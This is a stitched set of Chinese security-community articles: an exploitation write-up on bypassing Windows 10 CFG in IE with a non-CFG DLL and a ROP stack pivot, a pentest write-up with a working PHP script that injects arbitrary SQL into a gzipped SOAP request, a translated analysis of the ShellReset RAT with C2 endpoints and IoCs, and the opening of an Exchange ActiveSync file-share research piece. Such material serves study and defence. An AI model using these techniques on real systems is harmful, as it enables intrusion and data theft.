在上一篇文章中，我泄露了寄存器，包括一个栈指针，因此能让我们覆盖返回地址。另一个通用的绕过CFG的方式是使用ROP链，第一个配件来自一个没有使用CFG编译的DLL模块。这个方法能有效是因为CFG验证bitmap与模块相对应，没有使用CFG编译的模块允许执行任何地址。问题是将所有加载到IE和Edge中的模块都使用CFG编译了。如果一些插件或第三方应用被安装了，那么将会有模块加载到进程中，如果那个模块没有使用CFG编译，将成为攻击者的目标。我想找一种不依赖第三方模块的方法。这就带来了一个问题是所有在C:windowssystem32下的原生的模块都使用CFG编译，答案是不。为了找到没有使用CFG编译的模块，我写了如下python脚本：
这个脚本查找C:windowssystem32下面的所有的模块，校验DLL属性，因为使用CFG编译的模块在属性中能找到一个标记。
在我的Windows 10
1511上面运行后得到了145个没有使用CFG编译的DLL，可以用来构建ROP。我发现很多的DLL不包含任何有效的配件，因此有大量代码的才是需要的。最终我使用了mfc40.dll。
**
**
**0x02 加载DLL**
现在我们已经找到了一个包含有用配件的原生的DLL，同时没有使用CFG编译，我们面对的问题是这个DLL怎么被浏览器进程加载。我们能简单的通过kernelbase!LoadLibraryA
API，我们验证了这是是被CFG允许的。下面是验证的bitmap：
从这个bitmap中我们跟踪ntdll!LdrpValidateUserCallTarget的算法：
我们可以看到在偏移4的位是1，因此这个API是允许非直接调用的。下一步是定位这个API，这可能需要使用第一次泄漏的指向kernelbase.dll的指针，然后在DLL中定位这个函数。前文是通过首先定位jscript9模块中函数Segment::Iniitialize，因为它使用了kernel32!VirtualAllocStub，继而调用kernelbase!VirtualAlloc。我找这个函数的方法是扫描jscript9模块的虚表地址并计算哈希，使用原始读来完成。算法看起来如下：
找到的hash加上5个DWORD，每次加一个字节知道正确的hash被找到。非常简单的哈希函数是非常容易冲突的。在Segment ::
Initialize函数的偏移量0x37处有对kernel32!VirtualAlloc的调用，如下所示：
读取指针内容：
在偏移0x6处包含了跳转到kernelbase!VirtualAlloc的引用：
现在我们有了指向kernelbase.dll的指针了，然后我们定位LoadLibraryA的地址，通过如下的另一个哈希值：
现在我们找到了LoadLibraryA的地址，我们需要调用它，我们能用jscript9的HasItem函数实现它：
能用LoadLibraryA覆盖虚表偏移0x7C处的地址。选择HasItem是因为它也有一个参数，正好满足LoadLibraryA的需要。一个指向名字的变量作为参数，因此字符串C:WindwosSystem32mfc40.dll必须被写入到TypeArray的缓冲区中：
实现如下：
现在我们能在进程内加载DLL了：
展示进程加载的模块：
**
**
**0x03 与Dll交互**
我们已经确认了没有使用CFG编译的DLL被加载到了进程空间中，这将允许我们使用stack
pivot技术绕过过CFG。然而我们需要知道mfc40.dll的地址。不幸的是，HasItem函数只能返回Boolean值，因此LoadLibraryA返回的模块地址在返回前就被过滤了。我们不得不找其他的方法来泄漏模块地址。一种方法是通过PEB，因为它拥有一个进程加载的所有的模块的列表指针。
因此问题转化为查找PEB地址。我选择通过API IsBadCodePtr来找到它，这个API在MSDN中如下定义：
意味着一个内存地址作为参数，这个API将返回boolean值来确定她是否被分配，这个允许我们使用原始读时避免了触发异常。这个方法是搜索进程地址空间，测试每个内存页是否是TEB中的一个，继而找到PEB的地址。在Windows8.1中的TEB总是在0x7F000000和0x7FFE0000之间，然而在Windows10上面变得更加随机，可能在0x100000和0x4000000之间。这是0x3F00000大小的内存空间，但是因为我们只想知道内存是否是被分配的，测试每页就足够了，意味着有0x3F00页。首先我们需要找到kernel32中的IsbadCodePtr的地址：
这意味着可以使用先前泄漏的指向kernel32的指针，然后用hash找到函数地址。指向kernel32的指针可以通过和kernebase的方法一样找到，因为我们通过kernel32!VirtualAllocStub调用kernelbase!VirtualAlloc，因此我们能提前结束，返回指针。找到IsBadCodePtr的代码如下：
现在我们能调用API了，问题是在内存页中找到哪个是可靠的。查看找到的内存中PEB和TEB如下：
从这清楚看到TEB的地址总是比较接近，而且他们中的一些会共享内存页。深入查看TEB的结构：
很清楚在偏移0x18位置的DWORD值包含了TEB的地址，在偏移0x30位置的DWORD值包含了PEB的地址，并且在所有的TEB中都一样。因此总结下我们找到一个可靠的内存页后搜索以下的特征：
偏移0x18包含了页的基址
两个子分配是可靠的
所有的偏移0x30必须包含相同的值
**算法实现如下：**
当运行这个代码时，调试器捕捉到以下异常：
原因是IsBadCodePtr注册了一个SHE处理函数，然后尝试读取内存，如果是不可靠的，新的异常处理将捕获它，因此得到了这个异常。对于我们来说，这意味这调试变得困难，因为0x3F00个潜在的调用能触发异常。因此不在调试器下运行这个代码，只弹出一个PEB地址被找到的警告，如下：
为了验证它，调试器附加到进程，被找到的PEB地址：
表明算法工作正常。补充说明，IsBadCodePtr是Edge不能有效的原因，因为会被特殊API缓解措施阻止，但是任何获取LEB的方法都能复用这个方法。
**
**
**0x04 找到DLL**
为了定位DLL的基址，我们将利用PEB_LDR_DATA结构，这个结构在PEB的偏移0xC的位置：
这个结构看起来如下：
在偏移0xC，0x14和0x1C位置，我们能发现3个双向列表，都包含了所有的加载的DLL的信息。我们使用0x1C位置的列表。下面是如何从PEB中找到DLL：
这个个过程是，基于列表的偏移0x18包含的了指向DLL名字的指针，偏移0x8包含了模块基址，第一个DWORD值指向了列表的下一项。遍历列表直到mfc40.dll被找到。代码如下：
getName函数将Unicode名字读出来，然后转后卫ASCII字符串，并比较。我们能得到：
上如展示了我们找到的DLL的信息，我们能用它来构建ROP。
**
**
**0x05 控制EIP**
最后一步是找到ROP小配件，来使我们执行ROP链，继而绕过过CFG。找到正确的小配件需要技巧，依赖EIP控制。我最终使用了Theori原始的PoC也使用的Subarray调用。汇编代码如下：
在虚表偏移0x188的位置，有一个或两个参数。如果过一个参数被指定，另一个有一个默认值。在下面的截图我使用IsBadCodePtr的地址覆盖了Subarray的地址，下断点：
从这我们可以看到EBX和ECX寄存器都包含了指向对象的指针。而且在ESP+4和ESP+8位置我们发现两个提供的参数。我找到如下的小配件：
因为在栈上的第二个DWORD值被我们控制了，我们存放了stack
pivot配件的地址。记住CFG不保护栈上的地址，我们可以找到所有加载的DLL中的stack
pivot小配件。我们能用kernelbase中的如下配件作为stack pivot：
因为ECX也指向对象，0xD8偏移位置也被我们控制了。如果我们放置ROP链来，我们将能调用VirtualProtect。首先我们需要动态找到这些小配件，可以通过搜索DLL做到，这次不是用hash，而是用字节：
当所有的配件被找到，我们将他们插入到正确的偏移，如下：
我们运行后得到：
我们能看到绕过CFG的小配件确实绕过了CFG，stack pivot配件被放到了栈上。而且我们单步调试：
这个ROP配件缓冲区是空的，因为没有配件放在那儿。
**
**
**0x06 总结**
很清楚没有CFG编译的模块是个威胁，没有CFG编译的DLL加载到内存中可以用来绕过CFG。微软也注意到了Edge中IsBadCodePtr函数，因此这个方法不能使用。然而还是能在IE中使用。尽管微软非常有可能将以CFG重新编译愈来愈多的DLL，第三方DLL还是有遗漏。浏览器插件或者安全软件注入到被监控的进程中的模块是否以CFG编译了？
传送门：[绕过Windows 10的CFG机制（part
1）](http://bobao.360.cn/learning/detail/3425.html)[](http://bobao.360.cn/learning/detail/3425.html) | 社区文章 |
## 前言
* * *
在渗透该C/S架构的系统时，我们通常会使用Wireshark抓取传输流量分析数据包，在分析时发现传输协议使用http协议但是数据使用了gzip方式压缩。
在进行漏洞挖掘时，我对于该系统的业务功能进行逐个尝试，并且观察对应的数据包，经过解码后发现有某些数据包中存在了SQL语句。接下来的挖掘思路转换为通过更改原始的SQL语句，然后把更改后的数据包进行gzip编码后重新发送，验证我们的SQL注入有没有成功执行。
## SQL查询的发现
* * *
首先，我们要对于客户端的流量进行一个抓取，使用Wireshark抓取流量的话没法方便查看GZIP解码之后的数据。所以我的方式是使用BurpSuite来抓取流量，利用BurpSuite自带的GZIP解码功能能够方便查看解码之后的请求包和响应包。但是有一个小Bug，发送时必须更改回原来编码的格式，这个过程Burpsuite没办法自己完成。
代理方式：在一个windows虚拟机中运行该客户端，然后在虚拟机设置局域网代理，设置为我们本机的一个虚拟机网卡，然后在BurpSuite上设置监听该网卡就可以了。
接下来我对于该客户端的业务功能进行逐个排查，在执行某业务的表单查询功能时，我在交互数据包中发现了意外之喜，在中间一个数据包中出现了连表查询的SQL语句。下面是解码之后的数据包
POST /TdsWebService/OracleDeveloperSVC.svc HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "ExecuteDataSet"
Host: x.x.x.x
Content-Length: 1156
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: close
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><ExecuteDataSet xmlns="http:/x.x.x.x"><loginKey><OperatorId xmlns="http:/x.x.x.x">116307830</OperatorId><Version xmlns="http:/x.x.x.x">1.0</Version><UserType xmlns="http:/x.x.x.x">TDS</UserType><CompanyId xmlns="http:/x.x.x.x">910</CompanyId><LanguageCode xmlns="http:/x.x.x.x">CN</LanguageCode><Transcode xmlns="http:/x.x.x.x">Login</Transcode><LoginStamp xmlns="http:/x.x.x.x">20190827101905679116307830</LoginStamp><FinLoginYear xsi:nil="true" xmlns="http:/x.x.x.x"/></loginKey><sql>
select a.*
from sysc106 a
INNER JOIN sysc106c b ON b.vtranscode = a.vtranscode AND b.ncompanyid = a.ncompanyid
where a.ncompanyid = 194910 </sql></ExecuteDataSet></s:Body></s:Envelope>
传输时的原始数据
## 构造SQL注入
从我们发现的数据包来看，中间<sql>参数直接传递了一个SQL语句去交给后端执行，我的思路是通过替换该SQL语句来执行恶意的SQL语句（这都可以叫做时SQL的代码执行）。
为了方便我们替换SQL语句，我首先把数据包全部转成16进制形式，然后定位`select`出现的位置,接着替换为恶意SQL代码的16进制形式然后在转换成字符形式发送给服务端。
完整的构造过程：
第一步， 获得原始数据包的16进制形式
`原始数据包（使用16进制保存）-> 16进制转换字符串 -> gzdecode()函数解码(php函数) -> 字符串转换18进制`
第二步，构造SQL注入</sql>
对于原始的16进制数据进行SQL语句替换
56020b0173040b0161065608440a1e0082990e4578656375746544617461536574441aad08022726e62dcd498294875e3e929ca8442c442aab1401440c1e00829937687474703a2f2f31302e362e3139332e39372f546473576562536572766963652f4f7261636c65446576656c6f7065725356432e73766301560e090378736929687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e6365090378736420687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61400e4578656375746544617461536574082a687474703a2f2f544453536572766963652e53657276696365436f6e7472616374732f323030372f303740086c6f67696e4b6579400a4f70657261746f724964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699083638373936343339400756657273696f6e082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369903312e3040085573657254797065082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699035444534009436f6d70616e794964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369906313934393130400c4c616e6775616765436f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369902434e40095472616e73636f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699054c6f67696e400a4c6f67696e5374616d70082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f3036991932303139303832373130353435333431313638373936343339400c46696e4c6f67696e596561720503787369036e696c980474727565082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30360101400373716c98960d0a //不需要更改数据
73656c65637420757365722066726f6d206475616c20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020 //经过填充后的SQL语句 大小为296（语句长度必须与原语句长度相同）
01010101 //结束字符
第三步，将更改后的16进制数据转换为字符传然后进行gzip编码后重新发送
利用脚本
<?php
$data = ''; //gzip编码数据解码（需要先将数据保存为16进制格式）
$re1 = gzdecode(hex2bin($data));
echo bin2hex($re1);
echo $re1.PHP_EOL;
$req = '56020b0173040b0161065608440a1e0082990e4578656375746544617461536574441aad08022726e62dcd498294875e3e929ca8442c442aab1401440c1e00829937687474703a2f2f31302e362e3139332e39372f546473576562536572766963652f4f7261636c65446576656c6f7065725356432e73766301560e090378736929687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e6365090378736420687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61400e4578656375746544617461536574082a687474703a2f2f544453536572766963652e53657276696365436f6e7472616374732f323030372f303740086c6f67696e4b6579400a4f70657261746f724964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699083638373936343339400756657273696f6e082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369903312e3040085573657254797065082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699035444534009436f6d70616e794964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369906313934393130400c4c616e6775616765436f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369902434e40095472616e73636f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699054c6f67696e400a4c6f67696e5374616d70082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f3036991932303139303832373130353435333431313638373936343339400c46696e4c6f67696e596561720503787369036e696c980474727565082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30360101400373716c98960d0a73656c6563742075746c5f696e616464722e6765745f686f73745f616464726573732066726f6d206475616c202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202001010101';
//构造payload
$req_encode = gzencode(hex2bin($req));
//$req_encode = gzencode($re1);
function httpRequest($sUrl, $aHeader, $aData){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $sUrl);
curl_setopt($ch, CURLOPT_HTTPHEADER, $aHeader);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $aData);
$sResult = curl_exec($ch);
if($sError=curl_error($ch)){
die($sError);
}
curl_close($ch);
return $sResult;
}
$sUrl = 'http://x.x.x.x/TdsWebService/OracleDeveloperSVC.svc';
$aData = $req_encode;
$aHeader = array('Content-Type: application/x-gzip','Accept-Encoding: gzip, deflate','Content-Length: ' . strlen($aData));
echo gzdecode(httpRequest($sUrl,$aHeader,$aData));
## 利用结果
### 小结
在黑盒挖掘系统漏洞时，要细心验证每一个业务系统功能，查看相对应的所有交互数据包，然后去验证你的猜想，有时候开发人员的脑洞会让你有意外之喜。 | 社区文章 |
**原文链接:[ShellReset RAT Spread Through Macro-Based Documents Using AppLocker
Bypass](https://www.zscaler.com/blogs/research/shellreset-rat-spread-through-macro-based-documents-using-applocker-bypass)**
**译者：知道创宇404实验室翻译组**
之前我们说到：网络犯罪分子通常会将[攻击点与热点相联系](https://www.zscaler.com/blogs/research/30000-percent-increase-covid-19-themed-attacks)。近期，我们就发现有犯罪分子使用伦敦技术事件做诱饵来进行网络攻击。
2020年2月-5月，我们观察到在基于.space和.xyz域的新注册站点上托管了四个基于恶意宏的Microsoft
Word文档。由于几个文档的最终有效负载的部署策略、技术和过程（TTP）十分类似，我们认为这是同一个攻击者的行为。
据了解，.NET有效负载的最终版以往从未被检测到过，它的代码段很小，而且与QuasarRAT相重叠，但此代码段在运行时并未使用。根据最终有效负载中的唯一字符串我们为把该RAT命名为ShellReset。由于被检测到的数量有限，我们认为这可能是是一种小范围的攻击活动，而攻击者在这个攻击过程中使用的主题也和今年在伦敦发生的热点事件有关，其中还包括[5G
Expo](https://5gexpo.net/global/)
和[Futurebuild](https://www.futurebuild.co.uk/)。
其中的感染链涉及一些有趣的技术，如在运行时使用受信任的Windows实用程序在终端上编译有效负载以绕过安全机制，还会从攻击者的服务器下载混淆后的源代码。本文我将对分发策略和攻击的技术进行详细分析。
## 分发策略
2020年2月，与此攻击活动相关的示例文档进行了发布，其托管网址为：hxxps：//documentsharing.space/files/5G%20Expo.doc？clientEmail
=
**MD5 hash: 93f913f3b9e0ef3f5cedd196eae3f2ae**
**File name: 5G Expo.doc**
本文档的内容与5G博览会活动有关，该活动计划于2020年3月17日至18日在伦敦举行，如图所示。
启用宏后，本文档显示5G Expo 2020主题
同日，我们在URL上的同一域中找到了了另一个托管文档网址：hxxps：//documentsharing.space/files/FutureBuild.doc？clientEmail
=
**MD5 hash: b34b74effbd8647c4f5dc61358e1555f**
**File name: FutureBuild.doc**
该文档的内容与本应于2020年3月3-5日在伦敦举行的Futurebuild 2020会议有关。该文件在形式上伪装成了本次会议的入场券，如图所示。
启用宏后，文档显示Futurebuild 2020主题
在这两种情况下，用于承载文件的域都是documentharing[.]space。根据域的Whois记录，它已于2019年10月21日注册。
2020年5月发现同一攻击者的的两个文档示例。
2020年5月19日，我们在URL上找到了一个托管的基于宏的恶意Word文档，其网址为：hxxps://misrmarket[.]xyz/files/Get%20Stared.doc?clientEmail=
**MD5 hash: 7bebf686b6e1d3fa537e8a0c2e5a4bdc**
**File name: Get%20Stared.doc**
本文档的内容是有关个人数据革命的内容，其中包括合法站点列表，如图所示
文档显示有关个人数据革命的消息
经过进一步的研究，我们发现该文本是从网站datacoup.com上复制的，如图所示
文档中显示的消息是从datacoup.com复制
用于承载此文档的网站是一个欺诈网站anonfiles.com，该网站允许用户匿名上传文件。但该欺诈网站站点和原始站点在用户界面上存在着细微差别。下图显示了欺诈网站站点的用户界面。
anonfiles.com欺诈网站的Web用户界面
下图显示了原始网站站点的用户界面。
原始网站站点anonfiles.com
红色标记区域不在欺诈网站区域范围内，根据Whois数据，欺诈网站misrmarket [.xyz]已于2020年2月26日注销。
我们在托管文档的所有URL中观察到其常见模式是：“？clientEmail=”，其中URL的参数还包含目标用户的电子邮件地址。
## **宏的技术分析**
打开宏的文档时，它会显示一条消息，其要求用户启用宏以查看内容，如下图所示：
文档显示的消息，要求用户启用宏
启用宏后，将调用宏的Auto_Open()子例程，这将隐藏上图并显示与文档主题（5G Expo，Future Build 2020等）相对应的图像。
部分的宏代码也在启用宏后取消隐藏图像，如下图所示：
用于取消隐藏图像的宏代码
为了更好进行分析，我们将使用MD5的 hash: 7bebf686b6e1d3fa537e8a0c2e5a4bdc文件。宏的内容如图所示：
文档中的宏代码
该宏代码的主要功能是：
1. 它将工作目录和放置文件的名称设置为ServiceHostV1000。
2. 它包含嵌入在宏中的完整C＃代码，这些代码在运行时写在了工作目录文件ServiceHostV1000.cs中。在源代码中混淆了C＃代码，但仅混淆了变量、类和名称。
3. 它将编译器目录设置为文件csc.exe在计算机上的位置。Csc.exe是C＃代码的命令行编译器，一般情况下默认与Microsoft.NET框架一起安装。宏会在计算机上搜索版本3.5和4.0.x，会根据计算机上安装的.NET Framework版本设置相应的编译器目录，如图所示。
用于在计算机上编译C＃代码的宏代码
1. 它使用csc.exe和命令行参数“-target：winexe -out：”编译代码。编译后的二进制文件将出现在“启动”目录中。
2. 它将删除包含源代码的工作目录。
3. 它执行编译的二进制文件。
## AppLocker绕过
在这种情况下，MSbuild.exe使用.csproj文件编译计算机上的代码，以此作为绕过Windows安全机制（例如AppLocker和Device
Guard）的方法。几年前，[凯西·史密斯](https://twitter.com/subtee)首次公开了这项技术。
## .NET二进制文件分析
**MD5 hash: 4e0f9f47849949b14525c844005bb567
File name: ServiceHostV1000.exe**
.NET二进制文件的主要子例程如图所示：
.NET二进制文件的主要子例程
下面是此.NET二进制文件执行的主要操作：
它将HTTP GET请求发送到URL：misrmarket[.]xyz/files/app-provider/getApp，并将Content-type请求设置为：“application/json”。
下图显示了来自服务器的响应的内容，其中包含一个JSON文件。
包含JSON数据的服务器响应
此JSON文件包含三个键：
版本：设置为null
csproj：包含编译C＃项目时msbuild.exe使用的项目文件
cs：包含在运行时需要编译的C＃代码。
1. C＃代码使用 DataContractJsonSerializer类来解析服务器响应。.cs和.csproj文件被放置在%USERPROFILE%\ServiceTaskV1001位置，文件被命名为w.cs和w.csproj。
2. 为了编译C＃代码，它使用msbuild.exe。在计算机上检查以找到msbuild.exe的.NET Framework3.5和4.0.x版本，如下图所示：
.NET Framework版本的代码部分
## 基于.NET的RAT分析
有效负载的MD5 Hash值：8f62d7499d5599b9db7eeddf9c01a061
**系统信息收集**
有效负载执行的第一个活动是收集有关系统的信息，如图所示：
用于收集系统信息的代码部分
从计算机收集有关以下属性的信息：
* bot ID：机器的唯一标识符
* CPU名称：处理器详细信息
* RAM –计算机上安装的RAM总量
* 用户名
* 主机名
* 系统驱动器名称
* 系统目录路径
* 正常运行时间
* 操作系统类型：此字段设置为Windows。
计算唯一bot ID：有效负载首先计算机器的唯一标识符，它使用机器的各种属性来计算这个ID，如下所示:
a = WMI查询输出一个“SerialNumber”字段：SELECT * FROM Win32_DiskDrive
b = WMI查询输出字段：SELECT * FROM Win32_Processor
c = WMI查询输出中的“Manufacturer”和“SerialNumber”字段：SELECT * FROM Win32_BaseBoard
d = WMI查询输出“Manufacturer”字段：SELECT * FROM Win32_BIOS
通过链接上述所有值（a，b，c和d），然后计算MD5的Hash值并使用所得MD5的Hash值前12个字符来计算最终ID。
可以表示为：MD5(a+b+c+d)[0:12]
加上整数15以以生成最终ID。
一旦从机器上收集了以上信息，它就会以HTTP POST请求的形式发送到服务器，如图所示:
代码部分，用于在命令与控制（C＆C）服务器上注册bot
该请求将发送到URL：hxxp://theashyggdrasil[.]xyz/api/clients/identifyClient， 并且Content-Type字段设置为“application/json”。感染后的第一个网络请求用于使用具有唯一标识符的bot向攻击者的服务器注册。
网络请求如图所示:
在HTTP POST请求中发送到C＆C服务器的系统信息
## C＆C
僵尸程序在服务器上注册后，它将GET请求发送到以下路径：`/api/orders/getOrders/<bot_id>`以获取需要在机器上执行的命令。服务器响应将采用bot解析的JSON格式。
处理C＆C通信的子例程如图所示:
处理C＆C通信的子例程
该程序支持四种操作，如下所述：
cmdExec：此操作允许攻击者在计算机上执行代码。通过解析JSON响应，检索两个成员的CmdReq结构，shellId命令。
cmdExec操作的子例程如图所示：
处理cmdExec命令的子例程
如果命令等于`***reset*shell***`，则会在计算机上生成cmd.exe的新实例，如图所示:
用于产生新外壳的子例程
对于任何其他命令，将使用同一外壳程序执行。
**getDir** ：此命令可以检索计算机上特定路径中存在的所有文件的完整列表。
处理getDir命令的子例程
此信息将通过HTTP GET请求泄漏到服务器，该请求的路径为：`/api/files/onGetDirRun`
**uploadFile** ：此命令用于将文件从计算机上的给定路径上载到攻击者的服务器，如图所示:
处理uploadFile C＆C命令的子例程
AwsInfoRes是具有两个成员的类：
* uploadUrl
* fileKey
通过将HTTP GET请求发送到以下路径来从服务器检索此信息：/api/assets/getAwsUploadUrl
从JSON响应中，提取uploadURL和fileKey值,通过将HTTP
PUT请求发送到AwsInfoRes对象的uploadURL成员定义的URL中，对文件进行提取。
**getScreenshot** ：此命令使攻击者可以远程获取计算机的屏幕截图，如图所示：
处理getScreenshot命令的子例程
## QuasarRAT代码重叠
.NET二进制文件中有一小段代码，其代码与QuasarRAT重叠。重叠仅与QuasarRAT的StringHelper类一起使用。
下图显示了.NET二进制的部分代码
与QuasarRAT重叠的代码部分
这些功能与QuasarRAT中的[StringHelper](https://github.com/quasar/QuasarRAT/blob/3aed553e1aa8cb506dec96125d2fe2c9f6fd8dc2/Quasar.Common/Helpers/StringHelper.cs#L7
"StringHelper")功能类似。但是，在这种情况下，.NET二进制文件中不会调用其中的大多数功能。
## 云沙箱检测
下图显示了[Zscaler Cloud
Sandbox](https://www.zscaler.com/products/sandboxing)成功检测到此基于文档的威胁。
Zscaler Cloud沙箱检测
除了检测沙箱外，Zscaler的多层云安全平台还可以检测各个级别的指标，如下所示：
[Win32.RAT.ShellReset](https://threatlibrary.zscaler.com/threats/c4175119-c135-424a-bce0-2d6dea559e9e)
## 结论
黑客们利用与当前事件（例如会议和展览）相关的主题来传播基于宏的恶意文档。用户应在打开此类文件之前要验证其来源。
作为额外的预防措施，用户不可随便因为未知来源的Microsoft Office文件启用宏，因为这些宏可以在计算机上随意执行恶意代码。
Zscaler ThreatLabZ团队将继续监视此攻击以及其他攻击，以帮助确保客户安全。
## MITRE ATT&CK TTP Mapping
## IoCs
**Hash**
93f913f3b9e0ef3f5cedd196eae3f2ae
b34b74effbd8647c4f5dc61358e1555f
7bebf686b6e1d3fa537e8a0c2e5a4bdc
1d94b086996c99785f78bf484295027a
**托管文档的URL**
hxxps：//documentsharing.space/files/5G%20Expo.doc？clientEmail =
hxxps：//documentsharing.space/files/FutureBuild.doc？clientEmail =
hxxps：//misrmarket.xyz/files/Get%20Stared.doc
hxxps：//consumerspost.xyz/files/Swissin-Voucher.doc
**用于下载下一阶段的URL**
hxxps：//misrmarket.xyz/files/app-provider/getApp
hxxps：//misrmarket.xyz/files/app-provider/getLatestVersion
hxxps：//centeralfiles.xyz/files/app-provider/getApp
hxxps：//centeralfiles.xyz/files/app-provider/ getLatestVersion
**感染后域**
theashyggdrasil.xyz
**感染后域中使用的API端点**
/ api / cmd / onCmdRun
/ api / clients / identifyClient
/ api / assets / onCreated
/ api / assets / getAwsUploadUrl
/ api / files / onGetDirRun
/ api / orders / getOrders /
* * * | 社区文章 |
# 【技术分享】通过Exchange ActiveSync访问内部文件共享
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://labs.mwrinfosecurity.com/blog/accessing-internal-fileshares-through-exchange-activesync>
译文仅供参考，具体内容表达以及含义原文为准。
**摘要**
Exchange ActiveSync (EAS) 是用于在消息服务器和移动设备之间同步电子邮件、策略和其他内容的协议。
我发现仅仅使用Exchange用户邮箱凭据就可以远程访问Windows 文件共享和内部 SharePoint 站点。我们已经在Exchange
2013和2016版本的默认设置中证实了这一点，尽管在2010版本中已经[删除](https://technet.microsoft.com/en-us/library/aa998911%28EXCHG.140%29.aspx)了 Outlook Web App 文件共享的访问功能。
基于这个研究，MWR[公布](https://labs.mwrinfosecurity.com/tools/peas-access-internal-fileshares-through-exchange-activesync/)了PEAS库，用来协助访问共享文件和执行其他EAS命令。
**研究**
* * *
**目标**
MWR的网络防御顾问会帮助客户设计安全的企业体系结构。作为注重研究的顾问，我们会看中目前企业体系结构中存在的薄弱环节。
Microsoft
Exchange是一个广泛使用的企业电子邮件服务器，由于其函数本质，服务器需要从互联网进行访问。外部攻击者会周期性地攻击Exchange，尝试去访问存储在电子邮件中的敏感信息库和目标企业的内部网络。
由于外部接口太多，Exchange存在太多的“攻击面”。电子邮件就是主要的一个，已经有大量的内部电子邮件解析器漏洞报告显示会给Exchange自己带来代码执行类的安全漏洞（从这个[例子](http://blog.talosintel.com/2016/07/vulnerability-spotlight-oracles-outside.html)就可以明显的看出）。最近的新研究还发现攻击者会滥用设置复杂信息处理规定在工作站中实现代码执行。
在这项服务推出的这些年来，已经报告过太多包括Outlook Web Access (OWA)在内的各种问题。
最终，EAS连接器允许手机这类的设备互相连接来交换信息。这份协议相对比较复杂，内容就是加入移动设备的相关规则。
研究的主要目标就是查明EAS中存在的功能性漏洞，尤其是证实远程访问共享文档的可能性（在它被[发现](https://msdn.microsoft.com/en-us/library/cc425499%28EXCHG.80%29.aspx)之后）。为实现这个目标，我将任务分为以下几个子任务：
建立域控制器，并安装Microsoft Exchange 服务器。
测试现有的 Python EAS 项目并适当修改，以提取邮箱中的所有电子邮件。
在安全评估中执行共享文件访问以及其他功能。
**以前的研究**
在之前的文章[《Exchange移动平台的SSL实现弱点》](http://data.openduck.com/wp-posts/2013/12/paper-exchanging/demands.pdf)中，研究人员发现可以利用MitM
远程擦除设备。他们提出的关于访问远程共享文件的几点建议都是无效的，但是他们正确指出了禁用SSL来协助监视EAS信息交换的可行性。
**EAS协议**
可以通过[EAS文件](https://msdn.microsoft.com/en-us/library/cc425499%28EXCHG.80%29.aspx)对该协议做个简单了解。EAS使用XML通过HTTPS编码成WAP 二进制
XML (WBXML)。下面是一个示例：
<?xml version="1.0" encoding="utf-8"?>
<Sync xmlns:airsyncbase="AirSyncBase" xmlns="AirSync">
<Collections>
<Collection>
<SyncKey>1</SyncKey>
<CollectionId>7</CollectionId>
</Collection>
</Collections>
</Sync>
使用十六进制编辑器时，WBXML 看起来是这样的：
0000000: 0301 6a00 455c 4f4b 0331 0001 5203 3700 ..j.EOK.1..R.7.
0000010: 0101 0101 ....
这些数据会通过一个 HTTP POST
请求发送到EAS网络站点中，一起被发送的还有呈GET参数形式的用户和设备信息。标头用于授权、会话管理和区分EAS版本。
服务器的响应也是相应的WBXML。
**服务器安装**
虚拟机配置运行的是 Windows 2012 R2 标准 （64
位）。最开始没有足够的RAM来运行OS和Exchange，所以如果想要重复过程，最好使用至少8GB的容量；第二次分配需要10GB，其中正在使用的是7.8GB。
服务器中启用了活动目录，还创建了一个新的目录林，主机也被升级成域控制器。
可以用两个任务来安装Microsoft Exchange Server
2013，这是不同于默认安装的唯一途径。启用“邮箱任务”是因为需要它来控制用户邮箱，这也是Exchange的主要功能。启用”客户端访问任务“是因为这是ActiveSync客户端、Outlook
Web Access、 POP3、 IMAP4协议和Web 服务的使用前提。
安装之后，OWA可以通过[https://server-name/owa/](https://server-name/owa/)
访问，EAC可以通过[https://server-name/ecp/](https://server-name/ecp/)访问，这两种访问都依赖于互联网。
最开始就只有一个管理员邮箱。使用EAC可以创建一个新的邮箱，使用OWA可以在新邮箱和管理员邮箱之间成功发送电子邮件。
有关服务器安装的更多详细信息可以在这一研究项目的git存储库中找到。
**测试**
